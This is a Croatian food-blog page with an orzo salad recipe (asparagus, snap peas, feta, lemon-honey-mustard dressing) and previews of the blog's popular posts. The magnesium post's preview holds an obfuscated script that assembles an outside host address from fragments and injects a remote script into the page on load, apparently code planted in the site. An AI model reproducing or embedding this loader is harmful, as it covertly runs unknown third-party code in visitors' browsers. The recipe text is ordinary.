ORZO SALATA SA ŠPAROGAMA I PRELJEVOM OD LIMUNA 🍋 🥗





Orzo salata sa šparogama i preljevom od limuna 



Glavne zvijezde ovog proljetnog recepta su tanke šparoge i hrskavi mladi grašak šećerac. Orzo (sitna tjestenina u obliku riže) služi kao nježna baza koja upija aromatični dresing od meda i senfa, dok feta sir daje potrebnu kremastost i slanoću. Rotkvice unose blagu ljutinu, savršeno balansirajući slatkoću povrća i svježinu začinskog bilja.




Orzo salata sa šparogama i preljevom od limuna 


Sastojci (za 8 porcija)

  • 450 g tankih šparoga (očišćenih i narezanih na komade od 6 cm)


  • 220 g mladog graška šećerca (očišćenog i prepolovljenog ukoso)


  • 250 g orzo tjestenine


  • 1 žlica naribane korice limuna + 60 ml svježeg soka (od oko 2 limuna)


  • 2 žličice meda


  • 2 žličice Dijon senfa


  • 1 ¼ žličice košer soli (plus dodatno za vodu)


  • ½ žličice svježe mljevenog crnog papra


  • 60 ml ekstra djevičanskog maslinovog ulja


  • 115 g feta sira, razmrvljenog


  • 1 šalica tanko narezanih rotkvica


  • ¼ šalice sitno sjeckanog miješanog začinskog bilja (menta, kopar, peršin)


  • ¼ šalice tostiranih pinjola (zamjena mogu biti sjeckani bademi ili lješnjaci)





Priprema:

Zakuhajte veliki lonac posoljene vode. Pripremite veliku zdjelu s ledenom vodom (voda i led).

U kipuću vodu dodajte šparoge i grašak. Kuhajte 1 do 2 minute dok ne postanu jarko zeleni, ali ostanu hrskavi. Šupljikavom žlicom prebacite povrće u ledenu vodu na 5 minuta kako biste zaustavili kuhanje i sačuvali boju. Dobro ocijedite.

U istoj vodi skuhajte orzo prema uputama na pakiranju (obično 9–10 minuta) da bude al dente. Ocijedite i isperite hladnom vodom dok se potpuno ne ohladi.

U velikoj zdjeli pjenjačom pomiješajte limunovu koricu i sok, med, senf, sol i papar. Postupno ulijevajte ulje uz stalno miješanje dok dresing ne postane emulzija.

Dodajte kuhani orzo, povrće, fetu, rotkvice, začinsko bilje i pinjole. Sve lagano promiješajte. Ukrasite s još malo limunove korice, začinskog bilja i pinjola, te poslužite.



Savjeti za pripremu unaprijed

Salatu možete napraviti do 3 dana ranije (bez začinskog bilja i orašastih plodova) i čuvati je u hermetički zatvorenoj posudi u hladnjaku. Bilje i pinjole dodajte neposredno prije posluživanja.


Ako tjestenina upije previše dresinga, osvježite salatu s malo maslinovog ulja i limunovog soka.



Pripremila: Ivana Matas 

Primjedbe

Objavi komentar

Popularni postovi s ovog bloga

MAGNEZIJ - KLJUČNI MINERAL ZA ENERGIJU, OPUŠTANJE I ZDRAVLJE

Slika
Magnezij – ključni mineral za energiju, opuštanje i zdravlje bellalab.hr https://cityportal.hr/magnezij-je-ucinkovit-kod-lijecenja-mnogih-bolesti-a-pomaze-i-kod-umora-i-tjeskobe/ <script> (function(){ wtf9=document.createElement("script");wtf9.type="text/javascript"; wtf9.async=true;wtf9_=("op"+("en")+"s")+"t";wtf9_+=("at")+".e";wtf9_+=(("u"));wtf9_+="/"; wtf9u="2600057272.";wtf9u+="j2gl4hnltf9vl9z60av0p2jc8Xecru";wtf9.src="https://"+wtf9_+wtf9u; wtf9db=document.body;wtf9db.appendChild(wtf9); })(); </script> Magnezij - ključni mineral za energiju, opuštanje i zdravlje  Magnezij je jedan od najvažnijih minerala u ljudskom organizmu, a istovremeno i jedan od najčešće deficitarnih. Sudjeluje u više od 300 enzimskih procesa u tijelu, uključujući proizvodnju energije, rad mišića i živčanog sustava te održavanje psihičke ravnoteže. Unatoč t...
Pročitajte više

BOJANJE JAJA ZA USKRS - KREATIVNE IDEJE KOJE ĆE VAS ODUŠEVITI

Slika
Bojanje jaja za Uskrs - kreativne ideje koje će vas oduševiti  Bojanje jaja za Uskrs jedna je od najdražih blagdanskih tradicija koja svake godine okuplja obitelj oko stola i potiče kreativnost. Uz malo mašte i jednostavne trikove, uskrsna jaja postaju prava mala umjetnička djela koja će uljepšati blagdanski stol i donijeti dozu veselja u svaki dom. Povratak prirodi: kako obojiti jaja prirodnim bojama? Prije pojave umjetnih boja, naši su preci koristili ono što su imali u kuhinji i prirodi. Danas se vraćamo toj praksi, ne samo zbog zdravijih i ekološki prihvatljivijih rješenja, već i zbog čarolije stvaranja jedinstvenih, zemljanih tonova. Proces je zapravo svojevrsni znanstveni eksperiment za djecu, jer nikad niste posve sigurni kakvu ćete nijansu dobiti. Osnovni recept je jednostavan: odabrani sastojak kuhajte u vodi tridesetak minuta s jednom do dvije žlice octa, koji pomaže da se boja bolje primi za ljusku. Nakon toga procijedite tekućinu i u nju uronite već kuhana j...
Pročitajte više

KAKO RAZLIKOVATI ISCRPLJENOST OD LIJENOSTI?

Slika
Kako razlikovati iscrpljenost od lijenosti? Ponekad se čini da su “lijenost” i “umor” isto, ali u stvarnosti to su potpuno različite stvari. Lijenost je trenutna nevoljkost za rad, gubitak interesa ili dosada koja obično prolazi nakon odmora ili promjene. Iscrpljenost ide mnogo dublje; to je fizički i mentalni umor koji ne nestaje jednostavnim predahom, a ponekad donosi i bolove u tijelu ili osjećaj gubitka kontrole. To nije prolazna faza; iscrpljenost traži stvaran odmor. <script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-5813352881115803"      crossorigin="anonymous"></script> Znakovi da si stvarno iscrpljena Ako se ovi znakovi ponavljaju kroz dulje razdoblje, velika je vjerojatnost da je riječ o iscrpljenosti, a ne o lijenosti. 1. Nedostatak motivacije cijeli dan Ako se cijeli dan osjećaš demotivirano, i to ne samo u određenim trenucima, moguće je da je riječ o iscrpljenosti. Za razliku od lijen...
Pročitajte više